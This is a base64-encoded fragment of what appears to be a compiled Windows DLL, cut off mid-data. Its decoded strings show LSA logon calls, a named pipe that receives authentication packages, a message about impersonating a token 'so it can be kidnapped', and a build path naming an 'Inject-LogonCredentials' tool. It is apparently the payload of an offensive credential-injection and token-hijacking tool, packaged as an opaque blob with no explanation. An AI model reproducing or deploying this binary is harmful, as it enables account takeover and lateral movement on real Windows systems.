4ALQBHAEIAAABlAHMALQBNAFgAAABmAHIALQBCAEUAAABpAHQALQBDAEgAAABuAGwALQBCAEUAAABuAG4ALQBOAE8AAABwAHQALQBQAFQAAABzAHIALQBTAFAALQBMAGEAdABuAAAAAABzAHYALQBGAEkAAABhAHoALQBBAFoALQBDAHkAcgBsAAAAAABzAGUALQBTAEUAAABtAHMALQBCAE4AAAB1AHoALQBVAFoALQBDAHkAcgBsAAAAAABxAHUAegAtAEUAQwAAAAAAYQByAC0ARQBHAAAAegBoAC0ASABLAAAAZABlAC0AQQBUAAAAZQBuAC0AQQBVAAAAZQBzAC0ARQBTAAAAZgByAC0AQwBBAAAAcwByAC0AUwBQAC0AQwB5AHIAbAAAAAAAcwBlAC0ARgBJAAAAcQB1AHoALQBQAEUAAAAAAGEAcgAtAEwAWQAAAHoAaAAtAFMARwAAAGQAZQAtAEwAVQAAAGUAbgAtAEMAQQAAAGUAcwAtAEcAVAAAAGYAcgAtAEMASAAAAGgAcgAtAEIAQQAAAHMAbQBqAC0ATgBPAAAAAABhAHIALQBEAFoAAAB6AGgALQBNAE8AAABkAGUALQBMAEkAAABlAG4ALQBOAFoAAABlAHMALQBDAFIAAABmAHIALQBMAFUAAABiAHMALQBCAEEALQBMAGEAdABuAAAAAABzAG0AagAtAFMARQAAAAAAYQByAC0ATQBBAAAAZQBuAC0ASQBFAAAAZQBzAC0AUABBAAAAZgByAC0ATQBDAAAAcwByAC0AQgBBAC0ATABhAHQAbgAAAAAAcwBtAGEALQBOAE8AAAAAAGEAcgAtAFQATgAAAGUAbgAtAFoAQQAAAGUAcwAtAEQATwAAAHMAcgAtAEIAQQAtAEMAeQByAGwAAAAAAHMAbQBhAC0AUwBFAAAAAABhAHIALQBPAE0AAABlAG4ALQBKAE0AAABlAHMALQBWAEUAAABzAG0AcwAtAEYASQAAAAAAYQByAC0AWQBFAAAAZQBuAC0AQwBCAAAAZQBzAC0AQwBPAAAAcwBtAG4ALQBGAEkAAAAAAGEAcgAtAFMAWQAAAGUAbgAtAEIAWgAAAGUAcwAtAFAARQAAAGEAcgAtAEoATwAAAGUAbgAtAFQAVAAAAGUAcwAtAEEAUgAAAGEAcgAtAEwAQgAAAGUAbgAtAFoAVwAAAGUAcwAtAEUAQwAAAGEAcgAtAEsAVwAAAGUAbgAtAFAASAAAAGUAcwAtAEMATAAAAGEAcgAtAEEARQAAAGUAcwAtAFUAWQAAAGEAcgAtAEIASAAAAGUAcwAtAFAAWQAAAGEAcgAtAFEAQQAAAGUAcwAtAEIATwAAAGUAcwAtAFMAVgAAAGUAcwAtAEgATgAAAGUAcwAtAE4ASQAAAGUAcwAtAFAAUgAAAHoAaAAtAEMASABUAAAAAABzAHIAAAAAAGEAZgAtAHoAYQAAAGEAcgAtAGEAZQAAAGEAcgAtAGIAaAAAAGEAcgAtAGQAegAAAGEAcgAtAGUAZwAAAGEAcgAtAGkAcQAAAGEAcgAtAGoAbwAAAGEAcgAtAGsAdwAAAGEAcgAtAGwAYgAAAGEAcgAtAGwAeQAAAGEAcgAtAG0AYQAAAGEAcgAtAG8AbQAAAGEAcgAtAHEAYQAAAGEAcgAtAHMAYQAAAGEAcgAtAHMAeQAAAGEAcgAtAHQAbgAAAGEAcgAtAHkAZQAAAGEAegAtAGEAegAtAGMAeQByAGwAAAAAAGEAegAtAGEAegAtAGwAYQB0AG4AAAAAAGIAZQAtAGIAeQAAAGIAZwAtAGIAZwAAAGIAbgAtAGkAbgAAAGIAcwAtAGIAYQAtAGwAYQB0AG4AAAAAAGMAYQAtAGUAcwAAAGMAcwAtAGMAegAAAGMAeQAtAGcAYgAAAGQAYQAtAGQAawAAAGQAZQAtAGEAdAAAAGQAZQAtAGMAaAAAAGQAZQAtAGQAZQAAAGQAZQAtAGwAaQAAAGQAZQAtAGwAdQAAAGQAaQB2AC0AbQB2AAAAAABlAGwALQBnAHIAAABlAG4ALQBhAHUAAABlAG4ALQBiAHoAAABlAG4ALQBjAGEAAABlAG4ALQBjAGIAAABlAG4ALQBnAGIAAABlAG4ALQBpAGUAAABlAG4ALQBqAG0AAABlAG4ALQBuAHoAAABlAG4ALQBwAGgAAABlAG4ALQB0AHQAAABlAG4ALQB1AHMAAABlAG4ALQB6AGEAAABlAG4ALQB6AHcAAABlAHMALQBhAHIAAABlAHMALQBiAG8AAABlAHMALQBjAGwAAABlAHMALQBjAG8AAABlAHMALQBjAHIAAABlAHMALQBkAG8AAABlAHMALQBlAGMAAABlAHMALQBlAHMAAABlAHMALQBnAHQAAABlAHMALQBoAG4AAABlAHMALQBtAHgAAABlAHMALQBuAGkAAABlAHMALQBwAGEAAABlAHMALQBwAGUAAABlAHMALQBwAHIAAABlAHMALQBwAHkAAABlAHMALQBzAHYAAABlAHMALQB1AHkAAABlAHMALQB2AGUAAABlAHQALQBlAGUAAABlAHUALQBlAHMAAABmAGEALQBpAHIAAABmAGkALQBmAGkAAABmAG8ALQBmAG8AAABmAHIALQBiAGUAAABmAHIALQBjAGEAAABmAHIALQBjAGgAAABmAHIALQBmAHIAAABmAHIALQBsAHUAAABmAHIALQBtAGMAAABnAGwALQBlAHMAAABnAHUALQBpAG4AAABoAGUALQBpAGwAAABoAGkALQBpAG4AAABoAHIALQBiAGEAAABoAHIALQBoAHIAAABoAHUALQBoAHUAAABoAHkALQBhAG0AAABpAGQALQBpAGQAAABpAHMALQBpAHMAAABpAHQALQBjAGgAAABpAHQALQBpAHQAAABqAGEALQBqAHAAAABrAGEALQBnAGUAAABrAGsALQBrAHoAAABrAG4ALQBpAG4AAABrAG8AawAtAGkAbgAAAAAAawBvAC0AawByAAAAawB5AC0AawBnAAAAbAB0AC0AbAB0AAAAbAB2AC0AbAB2AAAAbQBpAC0AbgB6AAAAbQBrAC0AbQBrAAAAbQBsAC0AaQBuAAAAbQBuAC0AbQBuAAAAbQByAC0AaQBuAAAAbQBzAC0AYgBuAAAAbQBzAC0AbQB5AAAAbQB0AC0AbQB0AAAAbgBiAC0AbgBvAAAAbgBsAC0AYgBlAAAAbgBsAC0AbgBsAAAAbgBuAC0AbgBvAAAAbgBzAC0AegBhAAAAcABhAC0AaQBuAAAAcABsAC0AcABsAAAAcAB0AC0AYgByAAAAcAB0AC0AcAB0AAAAcQB1AHoALQBiAG8AAAAAAHEAdQB6AC0AZQBjAAAAAABxAHUAegAtAHAAZQAAAAAAcgBvAC0AcgBvAAAAcgB1AC0AcgB1AAAAcwBhAC0AaQBuAAAAcwBlAC0AZgBpAAAAcwBlAC0AbgBvAAAAcwBlAC0AcwBlAAAAcwBrAC0AcwBrAAAAcwBsAC0AcwBpAAAAcwBtAGEALQBuAG8AAAAAAHMAbQBhAC0AcwBlAAAAAABzAG0AagAtAG4AbwAAAAAAcwBtAGoALQBzAGUAAAAAAHMAbQBuAC0AZgBpAAAAAABzAG0AcwAtAGYAaQAAAAAAcwBxAC0AYQBsAAAAcwByAC0AYgBhAC0AYwB5AHIAbAAAAAAAcwByAC0AYgBhAC0AbABhAHQAbgAAAAAAcwByAC0AcwBwAC0AYwB5AHIAbAAAAAAAcwByAC0AcwBwAC0AbABhAHQAbgAAAAAAcwB2AC0AZgBpAAAAcwB2AC0AcwBlAAAAcwB3AC0AawBlAAAAcwB5AHIALQBzAHkAAAAAAHQAYQAtAGkAbgAAAHQAZQAtAGkAbgAAAHQAaAAtAHQAaAAAAHQAbgAtAHoAYQAAAHQAcgAtAHQAcgAAAHQAdAAtAHIAdQAAAHUAawAtAHUAYQAAAHUAcgAtAHAAawAAAHUAegAtAHUAegAtAGMAeQByAGwAAAAAAHUAegAtAHUAegAtAGwAYQB0AG4AAAAAAHYAaQAtAHYAbgAAAHgAaAAtAHoAYQAAAHoAaAAtAGMAaABzAAAAAAB6AGgALQBjAGgAdAAAAAAAegBoAC0AYwBuAAAAegBoAC0AaABrAAAAegBoAC0AbQBvAAAAegBoAC0AcwBnAAAAegBoAC0AdAB3AAAAegB1AC0AegBhAAAAAAAAACgBARA0AQEQPAEBEEgBARBUAQEQYAEBEGwBARB4AQEQgAEBEIgBARCUAQEQoAEBEL8VARBYBgEQbAYBEIgGARCcBgEQvAYBEKwBARC0AQEQvAEBEMABARDEAQEQyAEBEMwBARDQAQEQ1AEBENgBARDkAQEQ6AEBEOwBARDwAQEQ9AEBEPgBARD8AQEQAAIBEAQCARAIAgEQDAIBEBACARAUAgEQGAIBEBwCARAgAgEQJAIBECgCARAsAgEQMAIBEDQCARA4AgEQPAIBEEACARBEAgEQSAIBEEwCARBQAgEQVAIBEFgCARBcAgEQYAIBEGwCARB4AgEQgAIBEIwCARCkAgEQsAIBEMQCARDkAgEQBAMBECQDARBEAwEQZAMBEIgDARCkAwEQyAMBEOgDARAQBAEQLAQBEDwEARBABAEQSAQBEFgEARB8BAEQhAQBEJAEARCgBAEQvAQBENwEARAEBQEQLAUBEFQFARCABQEQnAUBEMAFARDkBQEQEAYBEDwGARC/FQEQX19iYXNlZCgAAAAAX19jZGVjbABfX3Bhc2NhbAAAAABfX3N0ZGNhbGwAAABfX3RoaXNjYWxsAABfX2Zhc3RjYWxsAABfX2NscmNhbGwAAABfX2VhYmkAAF9fcHRyNjQAX19yZXN0cmljdAAAX191bmFsaWduZWQAcmVzdHJpY3QoAAAAIG5ldwAAAAAgZGVsZXRlAD0AAAA+PgAAPDwAACEAAAA9PQAAIT0AAFtdAABvcGVyYXRvcgAAAAAtPgAAKgAAACsrAAAtLQAALQAAACsAAAAmAAAALT4qAC8AAAAlAAAAPAAAADw9AAA+AAAAPj0AACwAAAAoKQAAfgAAAF4AAAB8AAAAJiYAAHx8AAAqPQAAKz0AAC09AAAvPQAAJT0AAD4+PQA8PD0AJj0AAHw9AABePQAAYHZmdGFibGUnAAAAYHZidGFibGUnAAAAYHZjYWxsJwBgdHlwZW9mJwAAAABgbG9jYWwgc3RhdGljIGd1YXJkJwAAAABgc3RyaW5nJwAAAABgdmJhc2UgZGVzdHJ1Y3RvcicAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgc2NhbGFyIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYGVoIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGNvcHkgY29uc3RydWN0b3IgY2xvc3VyZScAAGB1ZHQgcmV0dXJuaW5nJwBgRUgAYFJUVEkAAABgbG9jYWwgdmZ0YWJsZScAYGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZScAIG5ld1tdAAAgZGVsZXRlW10AAABgb21uaSBjYWxsc2lnJwAAYHBsYWNlbWVudCBkZWxldGUgY2xvc3VyZScAAGBwbGFjZW1lbnQgZGVsZXRlW10gY2xvc3VyZScAAAAAYG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBtYW5hZ2VkIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgZHluYW1pYyBpbml0aWFsaXplciBmb3IgJwAAYGR5bmFtaWMgYXRleGl0IGRlc3RydWN0b3IgZm9yICcAAAAAYHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgbWFuYWdlZCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBsb2NhbCBzdGF0aWMgdGhyZWFkIGd1YXJkJwAgVHlwZSBEZXNjcmlwdG9yJwAAACBCYXNlIENsYXNzIERlc2NyaXB0b3IgYXQgKAAgQmFzZSBDbGFzcyBBcnJheScAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIENvbXBsZXRlIE9iamVjdCBMb2NhdG9yJwAAAAaAgIaAgYAAABADhoCGgoAUBQVFRUWFhYUFAAAwMIBQgIgACAAoJzhQV4AABwA3MDBQUIgAAAAgKICIgIAAAABgaGBoaGgICAd4cHB3cHAICAAACAAIAAcIAAAAU3VuAE1vbgBUdWUAV2VkAFRodQBGcmkAU2F0AFN1bmRheQAATW9uZGF5AABUdWVzZGF5AFdlZG5lc2RheQAAAFRodXJzZGF5AAAAAEZyaWRheQAAU2F0dXJkYXkAAAAASmFuAEZlYgBNYXIAQXByAE1heQBKdW4ASnVsAEF1ZwBTZXAAT2N0AE5vdgBEZWMASmFudWFyeQBGZWJydWFyeQAAAABNYXJjaAAAAEFwcmlsAAAASnVuZQAAAABKdWx5AAAAAEF1Z3VzdAAAU2VwdGVtYmVyAAAAT2N0b2JlcgBOb3ZlbWJlcgAAAABEZWNlbWJlcgAAAABBTQAAUE0AAE1NL2RkL3l5AAAAAGRkZGQsIE1NTU0gZGQsIHl5eXkASEg6bW06c3MAAAAAUwB1AG4AAABNAG8AbgAAAFQAdQBlAAAAVwBlAGQAAABUAGgAdQAAAEYAcgBpAAAAUwBhAHQAAABTAHUAbgBkAGEAeQAAAAAATQBvAG4AZABhAHkAAAAAAFQAdQBlAHMAZABhAHkAAABXAGUAZABuAGUAcwBkAGEAeQAAAFQAaAB1AHIAcwBkAGEAeQAAAAAARgByAGkAZABhAHkAAAAAAFMAYQB0AHUAcgBkAGEAeQAAAAAASgBhAG4AAABGAGUAYgAAAE0AYQByAAAAQQBwAHIAAABNAGEAeQAAAEoAdQBuAAAASgB1AGwAAABBAHUAZwAAAFMAZQBwAAAATwBjAHQAAABOAG8AdgAAAEQAZQBjAAAASgBhAG4AdQBhAHIAeQAAAEYAZQBiAHIAdQBhAHIAeQAAAAAATQBhAHIAYwBoAAAAQQBwAHIAaQBsAAAASgB1AG4AZQAAAAAASgB1AGwAeQAAAAAAQQB1AGcAdQBzAHQAAAAAAFMAZQBwAHQAZQBtAGIAZQByAAAATwBjAHQAbwBiAGUAcgAAAE4AbwB2AGUAbQBiAGUAcgAAAAAARABlAGMAZQBtAGIAZQByAAAAAABBAE0AAAAAAFAATQAAAAAATQBNAC8AZABkAC8AeQB5AAAAAABkAGQAZABkACwAIABNAE0ATQBNACAAZABkACwAIAB5AHkAeQB5AAAASABIADoAbQBtADoAcwBzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIABoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQGBAYEBgQGBAYEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAEAAQABAAEAAQAIIBggGCAYIBggGCAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQABAAEAAQACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABQAFAAQABAAEAAQABAAFAAQABAAEAAQABAAEAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAABAQEBAQEBAQEBAQEBAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAAgECAQIBAgECAQIBAgECAQEBAAAAAICBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlae3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/0MATwBOAE8AVQBUACQAAAABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpbXF1eX2BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ent8fX5/AEEAAAAXAAAAZ2VuZXJpYwB1bmtub3duIGVycm9yAAAAaW9zdHJlYW0AAAAAaW9zdHJlYW0gc3RyZWFtIGVycm9yAAAAc3lzdGVtAABpbnZhbGlkIHN0cmluZyBwb3NpdGlvbgBzdHJpbmcgdG9vIGxvbmcAXABcAC4AXABwAGkAcABlAFwAcwBxAHMAdgBjAAAAAABFcnJvciBjYWxsaW5nIExzYUNvbm5lY3RVbnRydXN0ZWQuIEVycm9yIGNvZGU6IABoTFNBIChMU0EgaGFuZGxlKSBpcyBOVUxMLCB0aGlzIHNob3VsZG4ndCBldmVyIGhhcHBlbi4AAE1JQ1JPU09GVF9BVVRIRU5USUNBVElPTl9QQUNLQUdFX1YxXzAAAABLZXJiZXJvcwAAAABSZWNlaXZlZCBhbiBpbnZhbGlkIGF1dGggcGFja2FnZSBmcm9tIHRoZSBuYW1lZCBwaXBlAAAAAENhbGwgdG8gTHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlIGZhaWxlZC4gRXJyb3IgY29kZTogAENhbGwgdG8gT3BlblByb2Nlc3NUb2tlbiBmYWlsZWQuIEVycm9yY29kZTogAAAAAENhbGwgdG8gR2V0VG9rZW5JbmZvcm1hdGlvbiBmYWlsZWQuAEVycm9yIGNhbGxpbmcgTHNhTG9nb25Vc2VyLiBFcnJvciBjb2RlOiAAAAAAAAAAAExvZ29uIHN1Y2NlZWRlZCwgaW1wZXJzb25hdGluZyB0aGUgdG9rZW4gc28gaXQgY2FuIGJlIGtpZG5hcHBlZCBhbmQgc3RhcnRpbmcgYW4gaW5maW5pdGUgbG9vcCB3aXRoIHRoZSB0aHJlYWQuAAAlbHUAJWQAACVsZAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDABEOAZARAHAAAAUlNEU1ehpZ+qaddOugMQvq7frQoKAAAAQzpcR2l0aHViXFBvd2VyU2hlbGxFeHBlcmltZW50YWxcSW5qZWN0LUxvZ29uQ3JlZGVudGlhbHNcTG9nb25Vc2VyXExvZ29uVXNlclxSZWxlYXNlXGxvZ29uLnBkYgAAAAAAAIkAAACJAAAAAAAAABwwARAAAAAAAAAAAP////8AAAAAQAAAALQWARAAAAAAAAAAAAEAAADEFgEQmBYBEAAAAAAAAAAAAAAAAAAAAAAAMAEQ4BYBEAAAAAAAAAAAAgAAAPAWARD8FgEQmBYBEAAAAAAAMAEQAQAAAAAAAAD/////AAAAAEAAAADgFgEQAAAAAAAAAAAAAAAAODABECwXARAAAAAAAAAAAAIAAAA8FwEQSBcBEJgWARAAAAAAODABEAEAAAAAAAAA/////wAAAABAAAAALBcBEAAAAAAAAAAAAAAAAFgwARB4FwEQAAAAAAAAAAADAAAAiBcBEJgXARBIFwEQmBYBEAAAAABYMAEQAgAAAAAAAAD/////AAAAAEAAAAB4FwEQAAAAAAAAAAAAAAAAeDABEMgXARAAAAAAAAAAAAMAAADYFwEQ6BcBEEgXARCYFgEQAAAAAHgwARACAAAAAAAAAP////8AAAAAQAAAAMgXARAAAAAAAAAAAAAAAACgMAEQGBgBEAAAAAAAAAAAAQAAACgYARAwGAEQAAAAAKAwARAAAAAAAAAAAP////8AAAAAQAAAABgYARAAAAAAAAAAAAAAAAAcMAEQtBYBEAAAAAAAAAAAAAAAALAyARB0GAEQAAAAAAAAAAACAAAAhBgBEJAYARCYFgEQAAAAALAyARABAAAAAAAAAP////8AAAAAQAAAAHQYARAAAAAAAAAAAAEAAABsGQEQyD4BEAAAAAAAAAAA/////wAAAABAAAAArBgBEAAAAAAAAAAAAwAAAOgYARB0GQEQDBkBELwYARAAAAAAAAAAAAAAAAAAAAAA7D4BEMAZARDsPgEQAQAAAAAAAAD/////AAAAAEAAAADAGQEQcD4BEAIAAAAAAAAA/////wAAAABAAAAAkBkBEAAAAAAAAAAAAAAAAMg+ARCsGAEQAAAAAAAAAAAAAAAAcD4BEJAZARC8GAEQAAAAAJw+ARACAAAAAAAAAP////8AAAAAQAAAANgYARAAAAAAAAAAAAMAAADQGQEQAAAAAAAAAAAAAAAAnD4BENgYARAMGQEQvBgBEAAAAAAAAAAAAAAAAAIAAAC0GQEQKBkBEAwZARC8GAEQAAAAAMw1AAD9NQAAoEIAAOB5AABwnwAAULMAAHCzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2IgAQAAAAACAaARACAAAALBoBEEgaARAAAAAAADABEAAAAAD/////AAAAAAwAAADKIQAQAAAAABwwARAAAAAA/////wAAAAAMAAAA7zkAEAAAAAA4MAEQAAAAAP////8AAAAADAAAAAAiABAAAAAAQSIAEAAAAACQGgEQAwAAAKAaARBkGgEQSBoBEAAAAABYMAEQAAAAAP////8AAAAADAAAAOUhABAAAAAAQSIAEAAAAADMGgEQAwAAANwaARBkGgEQSBoBEAAAAAB4MAEQAAAAAP////8AAAAADAAAABsiABD+////AAAAANT///8AAAAA/v///wAAAADaKQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAHIsABAAAAAA/v///wAAAADU////AAAAAP7///8KLgAQJC4AEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAAAXQQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAPRHABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAilAAEP7///8AAAAAllAAEP7///8AAAAA2P///wAAAAD+////AAAAAPpRABD+////AAAAAAlSABD+////AAAAAHz///8AAAAA/v///wAAAABnVQAQAAAAAP7///8AAAAA2P///wAAAAD+////BF4AEAheABAAAAAA/v///wAAAADY////AAAAAP7////QXQAQ1F0AEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABlagAQAAAAACpqABA0agAQ/v///wAAAACw////AAAAAP7///8AAAAAW2AAEAAAAACnXwAQsV8AEP7///8AAAAA2P///wAAAAD+////yWcAEM1nABAAAAAA/v///wAAAADY////AAAAAP7///+cXgAQpV4AEEAAAAAAAAAAAAAAAAhhABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAANQcARAiBZMZAgAAAOQcARABAAAA9BwBEAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADU////AAAAAP7///9HaQAQS2kAEAAAAADiXgAQAAAAAFwdARACAAAAaB0BEEgaARAAAAAAsDIBEAAAAAD/////AAAAAAwAAADHXgAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAEFtABAAAAAA/v///wAAAADY////AAAAAP7///95bgAQjG4AEAAAAAD+////AAAAALz///8AAAAA/v///wAAAACocAAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHt0ABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA/HUAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAADxggAQAAAAAP7///8AAAAAyP///wAAAAD+////AAAAABOMABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAARJwAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAB+pQAQAAAAAAAAAABIpQAQ/v///wAAAADQ////AAAAAP7///8AAAAAFacAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAChpwAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAN2vABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA2bAAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAABmsQAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAD+yABAiBZMZBAAAAJAfARACAAAAsB8BEAAAAAAAAAAAAAAAAAEAAAD/////AAAAAP////8AAAAAAQAAAAAAAAABAAAAAAAAAAIAAAACAAAAAwAAAAEAAADYHwEQAAAAAAAAAAADAAAAAQAAAOgfARBAAAAAAAAAAAAAAADCFgAQQAAAAAAAAAAAAAAAhRYAEGwhAQAAAAAAAAAAAMQhAQAkwQAAXCABAAAAAAAAAAAAPiIBABTAAABIIAEAAAAAAAAAAACoIgEAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeCIBAGQiAQBMIgEAjiIBAAAAAADeIQEA6iEBAP4hAQDQIQEAHiIBACYiAQAyIgEA1CYBAOQmAQD0JgEADiIBAJQkAQC2IgEAxiIBANYiAQDoIgEA/iIBABAjAQAcIwEAMCMBAEwjAQBkIwEAciMBAIgjAQCaIwEAsCMBALwjAQDMIwEA4iMBAO4jAQD6IwEACiQBACIkAQA0JAEAQiQBAGokAQCCJAEACCcBAKokAQDEJAEA2iQBAPQkAQAOJQEAKCUBAD4lAQBaJQEAeCUBAIwlAQCYJQEApiUBALQlAQC+JQEA0iUBAOolAQACJgEAFCYBACYmAQAwJgEAPCYBAEgmAQBWJgEAbCYBAHwmAQCMJgEAnCYBAK4mAQDCJgEAAAAAALQhAQCSIQEAfCEBAAAAAAAmAExzYUNvbm5lY3RVbnRydXN0ZWQALABMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACsATHNhTG9nb25Vc2VyAABTZWN1cjMyLmRsbADWAENyZWF0ZUZpbGVXAFgEUmVhZEZpbGUAACMCR2V0Q3VycmVudFByb2Nlc3MAagJHZXRMYXN0RXJyb3IAAOUAQ3JlYXRlTXV0ZXhXAABfBVNsZWVwAB0GbHN0cmxlblcAAPEFV3JpdGVGaWxlAEtFUk5FTDMyLmRsbAAA0wFMc2